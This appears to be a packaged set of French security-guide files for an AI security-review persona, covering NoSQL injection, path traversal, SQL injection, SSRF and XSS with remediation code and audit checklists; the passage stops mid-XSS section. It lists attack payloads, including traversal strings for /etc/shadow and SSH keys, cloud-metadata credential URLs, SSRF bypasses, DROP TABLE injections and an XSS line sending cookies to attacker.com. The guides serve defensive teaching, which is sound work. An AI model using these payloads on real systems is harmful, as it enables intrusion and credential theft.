Security Guardian Tu es un expert en sécurité applicative qui accompagne le développement sécurisé : - Audit : Détection de vulnérabilités dans le code - Conception : Design de features sécurisées - Review : Analyse de code sensible (auth, paiement, données) - Guidance : Bonnes pratiques de sécurité - Remediation : Correction de failles identifiées Expertise - OWASP Top 10 et vulnérabilités courantes - Authentification et autorisation sécurisées - Cryptographie et gestion de secrets - Validation et sanitization des entrées - Sécurité des APIs (REST, GraphQL) - Protection des données (PII, GDP…

)) {\n delete obj[key]\n } else if (typeof obj[key] === 'object') {\n sanitize(obj[key])\n }\n }\n return obj\n}\n```\n\n### 3. Éviter $where\n\n**Alternative**\n- Utiliser les operators MongoDB standards\n- Aggregation pipeline\n- Éviter JavaScript execution\n\n**Si $where Nécessaire**\n- Jamais avec input utilisateur\n- Validation extrêmement stricte\n\n### 4. Regex Sécurisé\n\n**Échapper les Caractères Spéciaux**\n```\n✅ CORRECT :\nfunction escapeRegex(str) {\n return str.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\{head-tags}')\n}\n\nconst safePattern = escapeRegex(userInput)\ncollection.find({ name: { $regex: safePattern } })\n```\n\n### 5. Schema Validation\n\n**MongoDB Schema Validation**\n- Définir les types attendus\n- Rejection automatique de types incorrects\n- Validation au niveau base de données\n\n**Application-level Schema**\n- Joi, Yup, Zod, etc.\n- Validation avant query\n- Type enforcement\n\n### 6. Principe du Moindre Privilège\n\n**Permissions DB**\n- Compte avec permissions minimales\n- Pas de droits admin pour l'app\n- Read-only pour queries de lecture\n\n### 7. Requêtes Paramétrées\n\n**Utiliser Query Builders**\n- Mongoose avec validation\n- Prisma\n- TypeORM\n\n**Éviter**\n- String concatenation\n- JSON.parse de user input\n- Dynamic query construction\n\n## Checklist d'Audit\n\n### Recherche de Vulnérabilités\n- [ ] Paramètres req.body/query utilisés directement ?\n- [ ] Validation de type des paramètres ?\n- [ ] Utilisation de $where avec input utilisateur ?\n- [ ] Regex avec input non échappé ?\n- [ ] JSON.parse de données utilisateur ?\n- [ ] Construction dynamique de queries ?\n\n### Validation des Correctifs\n- [ ] Validation de type stricte implémentée ?\n- [ ] Sanitization des operators ($) ?\n- [ ] Regex inputs échappés ?\n- [ ] $where évité ou sécurisé ?\n- [ ] Schema validation en place ?\n- [ ] Query builders utilisés ?\n\n### Tests de Vulnérabilité\n- [ ] Tester avec {\"$ne\": null} ?\n- [ ] Tester avec {\"$gt\": \"\"} ?\n- [ ] Tester array injection ?\n- [ ] Tester $where injection ?\n- [ ] Tester regex injection ?\n\n## MongoDB Operators Dangereux\n\n### Operators à Surveiller\n- **$where** : Exécution JavaScript\n- **$regex** : Si input non échappé\n- **$ne** : Not equal (bypass)\n- **$gt, $gte** : Greater than (enumeration)\n- **$lt, $lte** : Less than (enumeration)\n- **$in** : In array (si contrôlé par user)\n- **$nin** : Not in array\n\n## Exemples Sécurisés\n\n### Login Sécurisé\n```\n✅ CORRECT :\n// Validation stricte\nif (typeof username !== 'string' || typeof password !== 'string')\n return res.status(400).json({ error: 'Invalid input' })\n\n// Query sûre\nconst user = await User.findOne({\n username: username, // string simple, pas d'object\n password: hashedPassword\n})\n```\n\n### Recherche Sécurisée\n```\n✅ CORRECT :\n// Échapper regex\nconst escapedSearch = search.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\{head-tags}')\n\n// Query sécurisée\nconst results = await collection.find({\n name: { $regex: escapedSearch, $options: 'i' }\n})\n```\n\n### Filter Sécurisé\n```\n✅ CORRECT :\n// Whitelist des champs autorisés\nconst allowedFields = ['name', 'email', 'status']\nconst filter = {}\n\nfor (let [key, value] of Object.entries(req.query)) {\n if (allowedFields.includes(key) && typeof value === 'string') {\n filter[key] = value\n }\n}\n\nconst results = await collection.find(filter)\n```\n\n## Références\n\n- **OWASP** : NoSQL Injection\n- **CWE-943** : Improper Neutralization of Special Elements in Data Query Logic\n- **MongoDB Security Checklist**\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":7296,"content_sha256":"6c2076e8c848c8cc117225bddb16e113005143e3edbd8259c0aa2e7c4ede0c40"},{"filename":"vulnerabilities/path-traversal.md","content":"# Path Traversal (Directory Traversal)\n\n## Définition\n\nAccès non autorisé à des fichiers et répertoires en dehors du dossier prévu, via manipulation de chemins de fichiers.\n\n## Sévérité\n\n🔴 **CRITIQUE** - Lecture de fichiers sensibles, exécution de code\n\n## Principe de l'Attaque\n\n```\nInput: ../../etc/passwd\nPath: /var/www/files/../../etc/passwd\nRésultat: /etc/passwd\n→ Accès fichier hors du dossier autorisé\n```\n\n## Vecteurs d'Attaque\n\n### Basic Traversal\n```\n../../../etc/passwd\n..\\..\\..\\..\\windows\\system32\\config\\sam\n```\n\n### Absolute Path\n```\n/etc/passwd\nC:\\Windows\\System32\\config\\sam\n```\n\n### URL Encoding\n```\n..%2F..%2F..%2Fetc%2Fpasswd\n..%252F..%252F..%252Fetc%252Fpasswd (double encoding)\n```\n\n### Null Byte Injection\n```\n../../etc/passwd%00.jpg\n(bypass extension check)\n```\n\n### Nested Traversal\n```\n....//....//....//etc/passwd\n..././..././..././etc/passwd\n```\n\n### UNC Share (Windows)\n```\n\\\\attacker.com\\share\\malicious.exe\n```\n\n## Localisation dans le Code\n\n### À Chercher\n\n#### File Operations\n- Download endpoints\n- File viewer/reader\n- Image/document serving\n- Template loading\n- Include/require\n- Log file access\n\n#### User-Controlled Paths\n- Filename parameters\n- Path parameters\n- Template names\n- Language/locale files\n- Theme/skin files\n\n### Patterns Vulnérables\n\n```\nConcaténation dangereuse :\n- path.join(baseDir, req.params.filename)\n- \"/files/\" + req.query.file\n- File(baseDir + \"/\" + userInput)\n- include($_GET['page'] . \".php\")\n- res.sendFile(req.params.path)\n```\n\n### Patterns à Grep\n\n```\nRechercher :\n- \"sendFile.*req\\.\"\n- \"readFile.*params\\.\"\n- \"path\\.join.*req\\.\"\n- \"File\\(.*\\+.*req\"\n- \"include.*\\$_GET\"\n- \"require.*\\$_REQUEST\"\n- \"open\\(.*user\"\n```\n\n## Impact\n\n### File Disclosure\n- /etc/passwd, /etc/shadow\n- Configuration files\n- Source code\n- Database credentials\n- Private keys (.ssh/id_rsa)\n- .env files\n\n### Code Execution\n- Upload puis include\n- Log poisoning\n- Template injection\n\n### Information Disclosure\n- Application structure\n- Technology stack\n- User enumeration\n\n## Remédiation\n\n### 1. Validation Stricte (Whitelist)\n\n**Liste Fermée**\n```\n✅ CORRECT :\nconst allowedFiles = ['file1.pdf', 'file2.pdf', 'doc3.txt']\nif (!allowedFiles.includes(req.params.filename))\n throw new Error('File not allowed')\n```\n\n**ID Mapping**\n```\n✅ CORRECT :\nconst fileMap = {\n '1': 'public/file1.pdf',\n '2': 'public/file2.pdf'\n}\nconst filePath = fileMap[req.params.id]\nif (!filePath)\n throw new Error('File not found')\n```\n\n### 2. Path Normalization et Validation\n\n**Résolution de Path**\n```\n✅ CORRECT (Node.js) :\nconst path = require('path')\nconst baseDir = '/var/www/files'\n\nconst requestedPath = path.normalize(req.params.file)\nconst fullPath = path.resolve(baseDir, requestedPath)\n\n// Vérifier que le path final est dans baseDir\nif (!fullPath.startsWith(baseDir))\n throw new Error('Access denied')\n```\n\n**Résolution de Path (Python)**\n```\n✅ CORRECT :\nimport os\nbase_dir = '/var/www/files'\n\nrequested_file = request.args.get('file')\nfull_path = os.path.realpath(os.path.join(base_dir, requested_file))\n\nif not full_path.startswith(base_dir):\n raise Exception('Access denied')\n```\n\n### 3. Sanitization\n\n**Supprimer Séquences Dangereuses**\n```\n✅ CORRECT :\nfunction sanitizePath(filename) {\n // Supprimer ../ et ..\\\n filename = filename.replace(/\\.\\./g, '')\n // Supprimer path separators au début\n filename = filename.replace(/^[\\/\\\\]+/, '')\n // Supprimer absolute paths\n filename = filename.replace(/^[a-zA-Z]:/, '')\n return filename\n}\n```\n\n**Attention**\n- Sanitization seule insuffisante\n- Bypass possibles (nested, encoding)\n- Toujours valider après sanitization\n\n### 4. Chroot/Jail\n\n**Isolation**\n- Chroot jail\n- Container filesystem isolation\n- Restricted user permissions\n\n### 5. Éviter User Input dans Paths\n\n**Design Alternatif**\n```\n✅ CORRECT :\n// ID numérique plutôt que filename\nGET /files/123\n\n// Mapping côté serveur\nconst file = database.getFileById(123)\nif (file && userHasAccess(user, file))\n sendFile(file.path)\n```\n\n### 6. Filesystem Permissions\n\n**Least Privilege**\n- Application user avec permissions minimales\n- Read-only sur fichiers publics\n- Pas d'accès aux fichiers système\n- Séparation des répertoires\n\n### 7. Validation d'Extension\n\n**Si Extensions Autorisées**\n```\n✅ CORRECT :\nconst allowedExtensions = ['.pdf', '.jpg', '.png']\nconst ext = path.extname(filename).toLowerCase()\nif (!allowedExtensions.includes(ext))\n throw new Error('Invalid file type')\n```\n\n## Checklist d'Audit\n\n### Recherche de Vulnérabilités\n- [ ] User input dans chemins de fichiers ?\n- [ ] Concaténation de paths ?\n- [ ] Pas de validation de path ?\n- [ ] Pas de vérification que path reste dans baseDir ?\n- [ ] Include/require avec user input ?\n- [ ] sendFile avec user input ?\n\n### Validation des Correctifs\n- [ ] Whitelist de fichiers autorisés ?\n- [ ] ID mapping utilisé ?\n- [ ] Path normalization + validation ?\n- [ ] Vérification startsWith baseDir ?\n- [ ] Sanitization appliquée ?\n- [ ] Filesystem permissions restrictives ?\n\n### Tests de Vulnérabilité\n- [ ] Tester ../../../etc/passwd ?\n- [ ] Tester avec URL encoding ?\n- [ ] Tester avec null byte ?\n- [ ] Tester absolute paths ?\n- [ ] Tester nested traversal ?\n\n## Fichiers Cibles\n\n### Linux/Unix\n```\n/etc/passwd\n/etc/shadow\n/etc/hosts\n/proc/self/environ\n/var/log/apache2/access.log\n/root/.ssh/id_rsa\n/home/user/.bash_history\n```\n\n### Windows\n```\nC:\\Windows\\System32\\drivers\\etc\\hosts\nC:\\Windows\\win.ini\nC:\\boot.ini\nC:\\inetpub\\wwwroot\\web.config\nC:\\Users\\Administrator\\.ssh\\id_rsa\n```\n\n### Application\n```\n.env\nconfig/database.yml\nconfig/secrets.json\n.git/config\n.htaccess\n```\n\n## Techniques de Bypass\n\n### Encodage\n```\n..%2F..%2F..%2Fetc%2Fpasswd\n..%252F..%252Fetc%252Fpasswd (double)\n..%c0%af..%c0%afetc%c0%afpasswd\n```\n\n### Nested Patterns\n```\n....//....//etc/passwd\n..;/..;/etc/passwd\n```\n\n### Null Byte\n```\n../../etc/passwd%00.jpg\n(PHP \u003c 5.3)\n```\n\n### Case Variation\n```\n..\\/..\\/..\\/etc/passwd\n```\n\n## Code Sécurisé\n\n### Node.js\n```\n✅ CORRECT :\nconst path = require('path')\nconst baseDir = path.resolve('/var/www/public')\n\nfunction serveFile(filename) {\n // Normaliser\n const safePath = path.normalize(filename).replace(/^(\\.\\.[\\/\\\\])+/, '')\n const fullPath = path.resolve(baseDir, safePath)\n\n // Vérifier dans baseDir\n if (!fullPath.startsWith(baseDir))\n throw new Error('Access denied')\n\n return fs.readFile(fullPath)\n}\n```\n\n### Python\n```\n✅ CORRECT :\nimport os\nBASE_DIR = '/var/www/public'\n\ndef serve_file(filename):\n # Résoudre path complet\n safe_path = os.path.normpath(filename).lstrip('/')\n full_path = os.path.realpath(os.path.join(BASE_DIR, safe_path))\n\n # Vérifier dans BASE_DIR\n if not full_path.startswith(BASE_DIR):\n raise ValueError('Access denied')\n\n return open(full_path, 'rb').read()\n```\n\n### Java\n```\n✅ CORRECT :\nFile baseDir = new File(\"/var/www/public\").getCanonicalFile()\nFile requestedFile = new File(baseDir, userInput).getCanonicalFile()\n\nif (!requestedFile.getPath().startsWith(baseDir.getPath()))\n throw new SecurityException(\"Access denied\")\n```\n\n## Références\n\n- **OWASP** : Path Traversal\n- **CWE-22** : Improper Limitation of a Pathname to a Restricted Directory\n- **CWE-73** : External Control of File Name or Path\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":7264,"content_sha256":"b058b318053a5f51efc05e8ceaca7cdf6d8c8d08fa6083806f51904cc0cf4c26"},{"filename":"vulnerabilities/sql-injection.md","content":"# SQL Injection\n\n## Définition\n\nInjection de code SQL malveillant dans les requêtes de l'application, permettant de manipuler la base de données.\n\n## Sévérité\n\n🔴 **CRITIQUE** - Accès non autorisé aux données, modification, suppression\n\n## Types d'Injection SQL\n\n### 1. Classic SQL Injection\nInjection dans WHERE clause, ORDER BY, etc.\n\n### 2. Blind SQL Injection\nPas de retour direct mais détection via comportement (timing, boolean)\n\n### 3. Union-based Injection\nUtilisation de UNION pour combiner résultats\n\n### 4. Time-based Injection\nUtilisation de SLEEP/WAITFOR pour détecter la vulnérabilité\n\n### 5. Second-order Injection\nDonnées malveillantes stockées puis exécutées plus tard\n\n## Patterns Vulnérables à Détecter\n\n### Concaténation de Strings\n```\nRechercher patterns :\n- \"SELECT * FROM users WHERE id = \" + userId\n- `SELECT * FROM users WHERE name = '${userName}'`\n- \"DELETE FROM table WHERE id = \" + id\n- query = \"INSERT INTO ... VALUES (\" + values + \")\"\n```\n\n### Interpolation dans Requêtes\n```\n- String.format(\"SELECT * FROM ...\", param)\n- f\"SELECT * FROM users WHERE id = {user_id}\"\n- `UPDATE users SET name = '${name}'`\n```\n\n### Requêtes Dynamiques Non Paramétrées\n```\n- query = \"SELECT * FROM \" + tableName\n- orderBy = req.params.sort // utilisé directement dans ORDER BY\n- filterClause = buildFilter(params) // si non échappé\n```\n\n## Vecteurs d'Attaque\n\n### WHERE Clause\n```\nInput: ' OR '1'='1\nRésultat: WHERE username = '' OR '1'='1'\n→ Toujours vrai, bypass authentification\n```\n\n### ORDER BY\n```\nInput: id; DROP TABLE users--\nRésultat: ORDER BY id; DROP TABLE users--\n→ Exécution de commande supplémentaire\n```\n\n### UNION\n```\nInput: 1 UNION SELECT password FROM users--\nRésultat: Extraction de données d'autres tables\n```\n\n### Time-based\n```\nInput: 1' AND SLEEP(5)--\nRésultat: Si délai, vulnérable\n```\n\n## Localisation dans le Code\n\n### À Chercher\n\n#### Controllers/Routes\n- Paramètres de requête utilisés directement\n- Validation insuffisante des entrées\n\n#### Repositories/DAL\n- Construction de requêtes SQL dynamiques\n- Concaténation de strings\n- Interpolation de variables\n\n#### Services\n- Filtres dynamiques\n- Tri dynamique (ORDER BY)\n- Recherche fulltext\n\n### Patterns à Grep\n\n```\nPatterns dangereux :\n- \"SELECT .* FROM .* WHERE .* \\+ \"\n- \"query.*=.*\\\".*\\+.*\\\"\"\n- \"\\`SELECT.*\\$\\{.*\\}\\`\"\n- \"String.format.*SELECT\"\n- \"f\\\"SELECT.*\\{.*\\}\\\"\"\n- \"ORDER BY.*req\\.params\"\n- \"WHERE.*params\\.\"\n```\n\n## Impact\n\n### Lecture de Données\n- Extraction de données sensibles\n- Dump complet de la base\n- Accès aux credentials\n\n### Modification de Données\n- UPDATE arbitraire\n- Escalade de privilèges\n- Modification de prix, soldes\n\n### Suppression de Données\n- DROP TABLE\n- DELETE sans WHERE\n- Perte de données\n\n### Exécution de Commandes\n- xp_cmdshell (SQL Server)\n- INTO OUTFILE (MySQL)\n- COPY TO (PostgreSQL)\n\n## Remédiation\n\n### 1. Prepared Statements (Recommandé)\n\n**Principe**\n- Séparation de la structure SQL et des données\n- Paramètres liés après compilation de la requête\n- Impossible d'altérer la structure SQL\n\n**Implémentation**\n```\n✅ CORRECT :\nquery = \"SELECT * FROM users WHERE id = ?\"\nexecuteQuery(query, [userId])\n\nquery = \"UPDATE users SET name = $1 WHERE id = $2\"\nexecute(query, [name, id])\n```\n\n### 2. ORM/Query Builder\n\n**Avantages**\n- Abstraction de la base de données\n- Requêtes paramétrées par défaut\n- Protection intégrée\n\n**Attention**\n- Requêtes raw SQL toujours vulnérables\n- Interpolation dans raw queries dangereuse\n\n### 3. Validation des Entrées\n\n**Input Validation**\n- Whitelist de caractères autorisés\n- Type checking strict\n- Longueur maximale\n- Format attendu (regex)\n\n**Sanitization**\n- Échappement des caractères spéciaux SQL\n- Dernière ligne de défense (pas suffisant seul)\n\n### 4. Least Privilege\n\n**Principe**\n- Compte DB avec permissions minimales\n- Pas de DROP, CREATE pour l'application\n- READ-only pour queries de lecture\n- Séparation des comptes par fonction\n\n### 5. Requêtes Dynamiques Sécurisées\n\n**Pour ORDER BY, table names**\n- Whitelist stricte des valeurs autorisées\n- Pas de paramètre utilisateur direct\n- Mapping contrôlé\n\n```\n✅ CORRECT :\nallowedSorts = ['name', 'date', 'price']\nif (!allowedSorts.includes(req.query.sort))\n throw error\norderBy = req.query.sort // sécurisé car validé\n```\n\n## Checklist d'Audit\n\n### Recherche de Vulnérabilités\n- [ ] Concaténation de strings dans requêtes SQL ?\n- [ ] Interpolation de variables dans queries ?\n- [ ] Paramètres utilisateur dans ORDER BY, table names ?\n- [ ] Requêtes raw SQL sans paramètres ?\n- [ ] Construction dynamique de WHERE clauses ?\n\n### Validation des Correctifs\n- [ ] Prepared statements utilisés partout ?\n- [ ] ORM queries paramétrées ?\n- [ ] Validation stricte des entrées ?\n- [ ] Whitelist pour éléments dynamiques (ORDER BY) ?\n- [ ] Permissions DB minimales ?\n\n### Tests de Vulnérabilité\n- [ ] Tester avec ' OR '1'='1 ?\n- [ ] Tester avec UNION SELECT ?\n- [ ] Tester avec time-based (SLEEP) ?\n- [ ] Tester ORDER BY avec ; DROP ?\n\n## Références\n\n- **OWASP** : SQL Injection\n- **CWE-89** : Improper Neutralization of Special Elements used in SQL Command\n- **CAPEC-66** : SQL Injection\n\n## Exemples de Code Sécurisé\n\n### Node.js (PostgreSQL)\n```\nPrepared statement :\nclient.query('SELECT * FROM users WHERE id = $1', [userId])\n```\n\n### Python\n```\nParameterized query :\ncursor.execute(\"SELECT * FROM users WHERE id = %s\", (user_id,))\n```\n\n### Java\n```\nPreparedStatement :\nPreparedStatement stmt = conn.prepareStatement(\"SELECT * FROM users WHERE id = ?\");\nstmt.setInt(1, userId);\n```\n\n### C# / .NET\n```\nSqlCommand :\ncmd.CommandText = \"SELECT * FROM users WHERE id = @id\";\ncmd.Parameters.AddWithValue(\"@id\", userId);\n```\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":5760,"content_sha256":"be3da3bb790aece7b596fe283e2dd3124622e4097ea6d9c632cd72245b8961c1"},{"filename":"vulnerabilities/ssrf.md","content":"# Server-Side Request Forgery (SSRF)\n\n## Définition\n\nExploitation permettant à l'attaquant de forcer le serveur à effectuer des requêtes HTTP vers des destinations arbitraires (internes ou externes).\n\n## Sévérité\n\n🔴 **CRITIQUE** - Accès services internes, cloud metadata, scan de ports\n\n## Principe de l'Attaque\n\n```\n1. Application fait des requêtes HTTP basées sur input utilisateur\n2. Attaquant fournit URL vers service interne\n3. Serveur fait la requête (accès depuis l'intérieur)\n4. Contournement des firewalls et ACLs\n```\n\n## Types de SSRF\n\n### 1. Basic SSRF\nURL complète fournie par l'utilisateur\n\n### 2. Blind SSRF\nPas de réponse visible, détection via timing ou out-of-band\n\n### 3. Partial SSRF\nSeule partie de l'URL contrôlée (host, path, query)\n\n### 4. SSRF via Redirect\nChain de redirections pour contourner protections\n\n## Vecteurs d'Attaque\n\n### Accès Services Internes\n```\nhttp://localhost:8080/admin\nhttp://192.168.1.5/secret\nhttp://internal-api:3000/users\n```\n\n### Cloud Metadata\n```\nAWS :\nhttp://169.254.169.254/latest/meta-data/\nhttp://169.254.169.254/latest/user-data/\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n\nAzure :\nhttp://169.254.169.254/metadata/instance?api-version=2021-02-01\n\nGCP :\nhttp://metadata.google.internal/computeMetadata/v1/\n```\n\n### Port Scanning\n```\nhttp://internal-host:22\nhttp://internal-host:3306\nhttp://internal-host:6379\n→ Timing differences révèlent ports ouverts\n```\n\n### File Protocol\n```\nfile:///etc/passwd\nfile:///c:/windows/win.ini\n```\n\n### Other Protocols\n```\ngopher://internal-host:6379/_SET key value\ndict://internal-host:11211/stat\nftp://internal-ftp/file.txt\n```\n\n## Localisation dans le Code\n\n### À Chercher\n\n#### URL Fetching\n- Webhooks\n- URL preview/unfurling\n- Image fetching (avatar, thumbnail)\n- PDF generation from URL\n- Document conversion\n- XML external entities (XXE → SSRF)\n\n#### Import Features\n- Import from URL\n- RSS/Atom feed readers\n- Remote file inclusion\n- API proxy/gateway\n\n#### Integration Features\n- OAuth callbacks\n- Payment webhooks\n- Third-party API calls\n- Remote logging\n\n### Patterns Vulnérables\n\n```\nRequêtes HTTP avec URL utilisateur :\n- Fonctions de fetch/request avec paramètre utilisateur\n- Download de fichiers depuis URL\n- Webhooks avec URL configurable\n- Proxy/forward de requêtes\n- Import depuis URL externe\n```\n\n## Impact\n\n### Accès Services Internes\n- Admin panels\n- Databases\n- Redis, Memcached\n- Elasticsearch\n- Internal APIs\n\n### Cloud Metadata Theft\n- AWS credentials (IAM roles)\n- Azure managed identity tokens\n- GCP service account keys\n- Environment variables\n\n### Port Scanning\n- Network reconnaissance\n- Service discovery\n- Topology mapping\n\n### Data Exfiltration\n- Lecture de fichiers locaux\n- Dump de données internes\n- Source code disclosure\n\n### Attacks on Internal Services\n- Redis exploitation\n- Memcached exploitation\n- Database access\n- RCE sur services vulnérables\n\n## Remédiation\n\n### 1. Whitelist de Destinations (Recommandé)\n\n**Principe**\n- Liste fermée de domains/IPs autorisés\n- Validation stricte avant requête\n- Rejeter tout ce qui n'est pas whitelisté\n\n**Domains Autorisés**\n```\nWhitelist :\n- api.trusted.com\n- images.cdn.com\n- webhook.partner.com\n```\n\n**IP Whitelist**\n```\nWhitelist :\n- 203.0.113.5\n- 203.0.113.10\n```\n\n### 2. Blacklist (Defense in Depth)\n\n**IPs Privées à Bloquer**\n```\nIPv4 Private :\n- 10.0.0.0/8\n- 172.16.0.0/12\n- 192.168.0.0/16\n- 127.0.0.0/8\n- 169.254.0.0/16 (Cloud metadata)\n- localhost\n\nIPv6 Private :\n- ::1 (localhost)\n- fc00::/7 (unique local)\n- fe80::/10 (link-local)\n```\n\n**Protocols Autorisés**\n```\nWhitelist protocols :\n- http\n- https\n\nBloquer :\n- file, gopher, dict, ftp\n```\n\n### 3. DNS Resolution puis Validation\n\n**Process**\n```\n1. Parser l'URL\n2. Résoudre le hostname en IP\n3. Vérifier que l'IP n'est pas privée\n4. Vérifier que l'IP n'est pas cloud metadata\n5. Faire la requête vers l'IP validée\n```\n\n**Attention TOCTOU**\n- Time-of-check Time-of-use\n- DNS peut changer entre validation et requête\n- Utiliser l'IP résolue directement pour la requête\n\n### 4. Désactiver Redirects\n\n**Principe**\n- Ne pas suivre les redirections automatiquement\n- Ou valider chaque URL de redirection\n\n**Avantages**\n- Empêche bypass via redirect\n- Contrôle total sur les destinations\n\n### 5. Network Segmentation\n\n**Architecture**\n- Application dans subnet séparé\n- Firewall rules strictes\n- Pas d'accès direct aux services internes\n- Proxy pour requêtes externes\n\n### 6. Response Validation\n\n**Validations**\n- Content-Type attendu\n- Taille maximale de réponse\n- Timeout configuré\n- Pas de data sensible dans erreurs\n\n### 7. Utiliser Services Dédiés\n\n**Architecture**\n- Service dédié pour HTTP fetching\n- Sandboxé/isolé du reste\n- Pas d'accès aux ressources internes\n- Logs et monitoring\n\n### 8. Authentication sur Services Internes\n\n**Protection**\n- Authentication même pour services internes\n- Pas de confiance implicite network-based\n- API keys, tokens\n- Mutual TLS\n\n## Checklist d'Audit\n\n### Recherche de Vulnérabilités\n- [ ] Requêtes HTTP avec URL utilisateur ?\n- [ ] Pas de validation de destination ?\n- [ ] Pas de restriction sur IP/domain ?\n- [ ] Redirects suivis automatiquement ?\n- [ ] Protocols non-HTTP autorisés (file, gopher) ?\n- [ ] Webhooks sans validation ?\n- [ ] Import/download depuis URL ?\n\n### Validation des Correctifs\n- [ ] Whitelist de domains/IPs implémentée ?\n- [ ] Blacklist d'IPs privées en place ?\n- [ ] DNS resolution + validation ?\n- [ ] Redirects désactivés ou validés ?\n- [ ] Protocols restreints (http/https uniquement) ?\n- [ ] Network segmentation configurée ?\n- [ ] Timeouts configurés ?\n\n### Tests de Vulnérabilité\n- [ ] Tester http://localhost ?\n- [ ] Tester http://127.0.0.1 ?\n- [ ] Tester http://169.254.169.254 (metadata) ?\n- [ ] Tester http://192.168.x.x (interne) ?\n- [ ] Tester file:// protocol ?\n- [ ] Tester avec redirect vers localhost ?\n\n## Bypass Techniques\n\n### Alternative Representations IP\n```\nhttp://127.0.0.1\nhttp://127.1\nhttp://2130706433 (decimal)\nhttp://0x7f.0x0.0x0.0x1 (hex)\nhttp://[::1] (IPv6)\n```\n\n### DNS Tricks\n```\nhttp://localhost.localdomain\nhttp://169.254.169.254.nip.io (wildcard DNS)\nhttp://127.0.0.1.xip.io\n```\n\n### URL Encoding\n```\nhttp://127.0.0.%31\nhttp://local%68ost\n```\n\n### DNS Rebinding\n```\n1. DNS pointe vers IP publique (validation passe)\n2. Changer DNS rapidement vers IP privée\n3. Requête effectuée vers IP privée\n```\n\n### Redirect Chains\n```\n1. URL publique autorisée\n2. Redirect 302 vers localhost\n3. SSRF via redirect si non validé\n```\n\n### Alternative Protocols\n```\ngopher:// (exploitation Redis, SMTP, etc.)\ndict:// (port scanning)\nftp:// (si FTP wrapper activé)\nfile:// (local file access)\n```\n\n## IP Ranges à Bloquer\n\n### IPv4 Private & Special\n```\n10.0.0.0/8 Private\n172.16.0.0/12 Private\n192.168.0.0/16 Private\n127.0.0.0/8 Loopback\n169.254.0.0/16 Link-local (metadata)\n0.0.0.0/8 Current network\n224.0.0.0/4 Multicast\n240.0.0.0/4 Reserved\n```\n\n### IPv6 Special\n```\n::1/128 Loopback\nfc00::/7 Unique local\nfe80::/10 Link-local\nff00::/8 Multicast\n```\n\n### Cloud Metadata IPs\n```\n169.254.169.254 AWS, Azure, GCP\nmetadata.google.internal\n169.254.169.123 Oracle Cloud\n100.100.100.200 Alibaba Cloud\n```\n\n## Services Internes Couramment Ciblés\n\n### Databases\n```\nPostgreSQL : 5432\nMySQL : 3306\nMongoDB : 27017\nRedis : 6379\nElasticsearch : 9200\n```\n\n### Cache/Queue\n```\nMemcached : 11211\nRabbitMQ : 5672, 15672\nKafka : 9092\n```\n\n### Admin/Management\n```\nAdmin panels : 8080, 9000, 3000\nJenkins : 8080\nKubernetes API : 6443, 8001\nDocker : 2375, 2376\n```\n\n## Détection et Monitoring\n\n### Logs à Surveiller\n- Requêtes vers IPs privées\n- Requêtes vers cloud metadata\n- Tentatives de protocols non-standard\n- Multiples requêtes de scan de ports\n\n### Alertes\n- Accès à 169.254.169.254\n- Accès à localhost depuis l'application\n- Scan de ports détecté (timing patterns)\n- Protocols non-HTTP utilisés\n\n## Références\n\n- **OWASP** : Server-Side Request Forgery (SSRF)\n- **CWE-918** : Server-Side Request Forgery\n- **PortSwigger** : SSRF\n- **HackerOne** : SSRF Reports\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":8232,"content_sha256":"cf1b5daa6c4fc4334df62703b370411466b967078abbea62ce3a17da0b473b76"},{"filename":"vulnerabilities/xss.md","content":"# Cross-Site Scripting (XSS)\n\n## Définition\n\nInjection de scripts malveillants (JavaScript) dans des pages web, exécutés dans le navigateur de la victime.\n\n## Sévérité\n\n🟠 **HAUTE** (XSS Stored) - Vol de sessions, phishing, malware\n🟡 **MOYENNE** (XSS Reflected) - Vol de sessions, redirection malveillante\n\n## Types de XSS\n\n### 1. Stored XSS (Persistant)\n- Script stocké dans la base de données\n- Exécuté à chaque affichage\n- Plus dangereux (touche tous les utilisateurs)\n\n### 2. Reflected XSS (Non-persistant)\n- Script dans l'URL ou paramètre\n- Exécuté immédiatement\n- Nécessite que la victime clique sur lien malveillant\n\n### 3. DOM-based XSS\n- Manipulation du DOM côté client\n- JavaScript vulnérable côté navigateur\n- Pas de passage par le serveur\n\n### 4. Blind XSS\n- Stored XSS dans zone admin/backoffice\n- Exécuté quand admin consulte\n- Difficile à détecter\n\n## Patterns Vulnérables à Détecter\n\n### Backend - Injection dans Templates\n\n```\nPatterns dangereux :\n- \u003c%= userInput %> (pas d'échappement)\n- {{ userInput | safe }} (désactive l'échappement)\n- res.send(\"\u003cdiv>\" + userInput + \"\u003c/div>\")\n- template.innerHTML = userInput\n- dangerouslySetInnerHTML={{ __html: userInput }}\n```\n\n### Frontend - DOM Manipulation\n\n```\n- element.innerHTML = userInput\n- element.outerHTML = userInput\n- document.write(userInput)\n- eval(userInput)\n- setTimeout(userInput, 1000)\n- setInterval(userInput)\n- Function(userInput)\n- location = userInput\n- window.location = userInput\n```\n\n### URL/Attribute Injection\n\n```\n- href=\"javascript:\" + userInput\n- src=\"data:text/html,\" + userInput\n- onclick=\"alert('\" + userInput + \"')\"\n- style=\"background: \" + userInput\n```\n\n## Vecteurs d'Attaque\n\n### Basic Script Injection\n```\n\u003cscript>alert('XSS')\u003c/script>\n\u003cscript>document.location='http://attacker.com?c='+document.cookie\u003c/script>\n```\n\n### Event Handlers\n```\n\u003cimg src=x onerror=\"alert('XSS')\">\n\u003cbody onload=\"alert('XSS')\">\n\u003csvg onload=\"alert('XSS')\">\n\u003cinput onfocus=\"alert('XSS')\" autofocus>\n```\n\n### JavaScript Pseudo-Protocol\n```\n\u003ca href=\"javascript:alert('XSS')\">Click\u003c/a>\n\u003ciframe src=\"javascript:alert('XSS')\">\n```\n\n### Data URIs\n```\n\u003cobject data=\"data:text/html,\u003cscript>alert('XSS')\u003c/script>\">\n\u003cembed src=\"data:text/html,\u003cscript>alert('XSS')\u003c/script>\">\n```\n\n### CSS Injection\n```\n\u003cstyle>body{background:url('javascript:alert(\"XSS\")')}\u003c/style>\n\u003clink rel=\"stylesheet\" href=\"data:,*{x:expression(alert('XSS'))}\">\n```\n\n### HTML Entities Bypass\n```\n<script>alert('XSS')</script>\n(si double décodage)\n```\n\n### Filter 